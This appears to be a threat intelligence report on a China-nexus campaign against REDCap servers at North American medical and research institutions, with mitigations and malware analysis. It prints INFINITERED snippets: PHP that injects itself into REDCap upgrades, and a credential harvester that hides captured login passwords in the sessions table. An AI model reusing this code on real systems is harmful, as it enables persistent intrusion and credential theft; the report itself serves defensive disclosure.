Threat Intelligence Public and Private Medical Community Targeted by China-Nexus Threat Actor Pursuing Artificial Intelligence, Cyber, Medical, and National Defense Research June 15, 2026 Google Threat Intelligence Group Google Threat Intelligence Visibility and context on the threats that matter most. Contact Us & Get a Demo Google Threat Intelligence Group (GTIG) has identified a sophisticated campaign attributed to UNC6508, a People's Republic of China (PRC)-nexus threat actor, targeting institutions in the North American academic, medical, and military research community. While remaining undetected for over a year, the threat actor compromised externally facing web applications, deployed bespoke malware, pivoted to sensitive internal systems, and abused enterprise administrative tools for covert data exfiltration. The threat actor had broad collection aspirations, including sensitive defense intelligence related to national security, Indo-Pacific command operations, artificial intelligence, uncrewed vehicle systems, cyber offensive programs, and medical research. GTIG disrupted the malicious infrastructure associated with this threat actor. Working with Mandiant Consulting, we notified the affected organizations upon detection and offered our assistance with remediation. We have updated Google Security Operations (SecOps) with relevant intelligence, enabling defenders to identify indicators of compromise (IOCs) within their networks. We encourage all users and customers to follow recommended best practices for third-party Identity Providers (IdP) and ensure 2-Step Verification (2SV) is enabled across all accounts. Campaign Overview The campaign targeted a diverse set of national, state, and private medical entities. These organizations comprise world-renowned clinical providers, premier academic centers, North American military health institutions, professional advocacy groups, and health regulatory bodies. Their research areas span a broad spectrum of modern medicine, from molecular discovery and clinical drug trials to state-level public health policy and military readiness. They employ thousands of people with a combined research budget in the billions of dollars. The earliest known compromise occurred in September 2023, after which GTIG observed a consistent operational pattern. The threat actor exploited externally facing REDCap (Research Electronic Data Capture) servers and deployed custom malware named INFINITERED to capture legitimate REDCap login credentials. Then, after remaining undetected for more than a year, UNC6508 used the captured credentials to access the victim’s internal network. The threat actor was also observed using the novel technique of manipulating domain content compliance rules for data exfiltration. Lastly, UNC6508 used sophisticated operations security (OpSec) techniques to conceal and obfuscate their activity. GTIG collaborated closely with Mandiant Consulting, the FLARE team, and Workspace Security on this effort to combine our threat intelligence, incident response, and reverse engineering expertise across Google Cloud. This enabled us to develop a complete picture of the attack lifecycle from initial compromise to complete mission. GTIG also extends thanks to the affected organizations for their cooperation and the valuable post-exploitation insights they shared. Prevention, Detection, and Remediation GTIG recommends defenders implement the following security measures, across all Cloud enterprise platforms, to mitigate this threat: Secure Admin Accounts : Enforce phishing-resistant 2-Step Verification (2SV) for enterprise administrator accounts, including through third-party Identity Providers. Advanced Protection : Consider enrolling highly sensitive accounts in our Advanced Protection Program for additional safeguards against malware and phishing attacks. Prevent Cookie Theft : Enforce Device Bound Session Credentials (DBSC) with CAA for highly sensitive accounts on Windows devices to prevent session hijacking. Monitor Audit Logs : Enable Audit logs to analyze, monitor, and alert on changes to your data. Control Data : Define Data Loss Prevention (DLP) rules to block or alert on external sharing of sensitive data. Audit Compliance Rules : Review Admin audit logs and content compliance rules for unauthorized modifications. SIEM Coverage : Consider using Google Security Operations (SecOps) and ensure Workspace logs are included in your Security Information and Event Management (SIEM) pipeline. Password Protection : Use Chrome Enterprise Password Leak Detection to alert when potentially compromised password use is detected. Patch REDCap : Fully updated REDCap installations to the latest software version and ensure older versions are completely removed. Monitor for INFINITERED : Scan REDCap servers for the presence of INFINITERED using the provided YARA rule and IOCs. Medical Research University Compromise In September 2023, a REDCap server belonging to a North American medical research institution was compromised. Continuing activity was observed through November 2025. During this time period, UNC6508 carried out the following attack chain. Exploit the REDCap server. After three months, deploy the INFINITERED malware. INFINITERED stealthily records credentials, and persists through upgrades, for more than a year. Pivot to a domain admin account. Add the malicious content compliance rule. Silently “BCC-forward” matched emails to a threat actor-controlled account. Figure 1: Campaign attack flow diagram Initial Access: REDCap Exploitation and INFINITERED UNC6508 consistently targets REDCap servers. REDCap is a web-based software platform designed specifically for building and managing online databases and surveys, in compliance with regulations for medical and scientific research. It is a commonly used platform in the North American medical research community. GTIG was not able to confirm how UNC6508 initially gained access to the REDCap server. By design, REDCap allows administrators to continue running legacy software side-by-side with the current version. UNC6508 was observed probing for these vulnerable legacy versions on several target organizations’ REDCap systems. This highlights not only the increasing importance of rapidly applying security patches, but also promptly removing older software versions to prevent downgrade attacks . Upon establishing a foothold on the REDCap server, UNC6508 performed internal reconnaissance and credential discovery to obtain database and service account credentials. The threat actor also deployed a web shell named " help.php ", which maintained persistence and functioned as an uploader in the REDCap application. INFINITERED Analysis Three months after the initial compromise, UNC6508 deployed a custom malware payload tracked as INFINITERED. This malware implements its functionality across three distinct modular components by trojanizing legitimate REDCap system files. Dropper and Upgrade Interception Credential Harvester Backdoor, with command and control (C2) GTIG discovered multiple organizations across the US and Canada compromised with INFINITERED. All of these organizations were promptly notified of the compromise upon detection and offered our assistance with remediation. Figure 2: INFINITERED diagram Dropper and Upgrade Interception To maintain persistent remote access, INFINITERED injects its code into new REDCap versions by intercepting the upgrade process. This capability is embedded into the legitimate REDCap upgrade system file. INFINITERED performs this code injection following these steps. Read the current software version, which includes the INFINITERED code. Extract the malicious logic using GUID delimiter b49e334d-9c01-463e-9bc5-00a6920fb66e. Inject backdoor code into the custom hooks configuration file. Inject credential harvester code into the authentication system file. Inject the extracted code from step 2 into the upgrade system file. In Elastic Beanstalk environments, INFINTERED performs additional steps to ensure persistence in cloud deployments. // b49e334d-9c01-463e-9bc5-00a6920fb66e ... $file_upgrade = $base_path."Upgrade.php"; $file_content_upgrade = $zip->getFromName($file_upgrade); // new upgrade file content $file_content_upgrade_local = file_get_contents(__FILE__); // Contents of the current file ... if ($file_content_upgrade !== false) { // Base64 GUID delimiter $dummy_marker = base64_decode('YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl'); $pattern = "/$dummy_marker(.*?)$dummy_marker/s"; if (preg_match($pattern, $file_content_upgrade_local, $matches)) { $extracted_text = $matches[0]; $search_content = "// If running on AWS Elastic Beanstalk"; $upgrade_decode = "// ".$extracted_text."\r\n\t\t".$search_content; $new_content = str_replace($search_content, $upgrade_decode, $file_content_upgrade); $zip->deleteName($file_upgrade); $zip->addFromString($file_upgrade, $new_content); } } $zip->close(); ... // b49e334d-9c01-463e-9bc5-00a6920fb66e Code Snippet 1: Intercept upgrades and inject INFINITERED code Credential Harvester INFINITERED injects a credential harvester into the authentication system file to compromise user accounts. This component of the malware captures usernames and passwords submitted via POST requests during the login process. The credentials are encrypted using the environment’s default encryption routine and hidden inside a local REDCap sessions database table with the string “ xc32038474a” prefixed to the Session ID. $currentUTC = gmdate('Y-m-d H:i:s'); $str = encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']); include dirname(__FILE__, 3) . DIRECTORY_SEPARATOR . 'redcap_connect.php'; $expiration_timestamp = strtotime("+60 days", strtotime($currentUTC)); $session_id = 'xc32038474a'.substr(bin2hex($currentUTC), -20); $session_sql = "INSERT INTO [REDACTED] ([REDACTED],[REDACTED],[REDACTED]) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))